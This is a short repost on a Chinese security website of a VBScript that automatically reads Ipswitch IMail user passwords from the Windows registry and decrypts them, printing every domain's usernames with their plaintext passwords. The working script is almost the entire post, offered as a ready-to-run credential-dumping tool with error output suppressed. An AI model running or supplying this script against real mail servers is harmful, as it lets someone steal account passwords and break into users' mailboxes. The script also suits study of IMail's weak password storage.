Imail密码解密脚本 's

admin 2017年5月2日10:51:40评论326 views字数 961阅读3分12秒阅读模式
摘要

# 鬼仔注:以前发过一个Imail密码加密算法及VBS实现作者:tyw7自动从注册表中读取并解密

# 鬼仔注:以前发过一个Imail密码加密算法及VBS实现

作者:tyw7

自动从注册表中读取并解密

‘imail password decrypt
‘code by tyw7  2009-4-15
‘http://www.tyw7.cn

on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = “.”
Set oReg=GetObject(”winmgmts:{impersonationLevel=impersonate}!//” &_
strComputer & “/root/default:StdRegProv”)
strKeyPath = “SOFTWARE/Ipswitch/IMail/Domains”
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo “Domain: “&subkey
strKeyPath2 = strKeyPath&”/”&subkey&”/Users”
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2&”/”&subkey2
strValueName = “Password”
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 &” : ” & decrypt(subkey2,strValue)
end if
Next
Next

function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p=”&H”&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月2日10:51:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Imail密码解密脚本 'shttp://cn-sec.com/archives/44759.html

发表评论

匿名网友 填写信息